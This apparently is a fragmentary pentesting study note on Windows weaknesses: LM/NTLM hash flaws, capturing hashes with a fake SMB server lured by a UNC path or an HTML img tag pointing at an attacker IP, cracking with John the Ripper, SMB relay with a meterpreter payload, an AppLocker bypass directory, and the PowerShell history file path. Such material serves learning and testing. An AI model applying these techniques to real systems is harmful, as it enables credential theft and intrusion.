Windows Weaknesses
Last updated
Last updated
3 types:
Type 1: Negotiation
Type 2: Challenge
Type 3: Authentication
Use DES to encrypt the password. Weaknesses:
Password are all transformed to UPPER CASE
Add null characters until it is 14-bytes long
Split password into 2 blocks
Fixed string "KGS!@#$%" is used to encrypt
The two ciphertext are concatenated to form a 16-byte value
The NTLM hash generation:
Convert user password to UNICODE
MD4 to get a 16-byte long hash
Client sends a request for authentication
Server sends back a 8-byte random challenge
Client encrypt the challenge using the password hash and send as response (Note the 16-byte hash will be padded by 5 null bytes, making it 21-byte long) (Then this thing will be split by 3 parts as the encryption key to the server challenge)
The whole process from the client is:
Each encryption output is not linked to previous one
DES is an old algorithm and not considered safe.
The 3rd block always has 0x00 padding!
The only randomness is the server's challenge
If the password length is < 7, the last 8 bytes of the LMHASH is always 2f85252cc731bb25
Metasploit module:
To save the captured hashes, configure the parameter JOHNPWFILE
. By doing so, captured hashes will be saved in the file to work with John the Ripper.
After the fake SMB server is up, force clients to start a connection to it. For example, network share connection \\x.x.x.x\share.
Or an HTML tag <img src="\\x.x.x.x\share">,
where x.x.x.x
is the attacker IP.
Then use John the crack the password:
Metasploit
smbrelayx.py
also serves the same purpose. Using this, first use msfvenom to generate a payload (e.g. meterpreter.
Start a handle in msfconsole.
Finally use smbrelayx
There are many ways to bypass AppLocker.
If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: C:\Windows\System32\spool\drivers\color
- This is whitelisted by default.
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt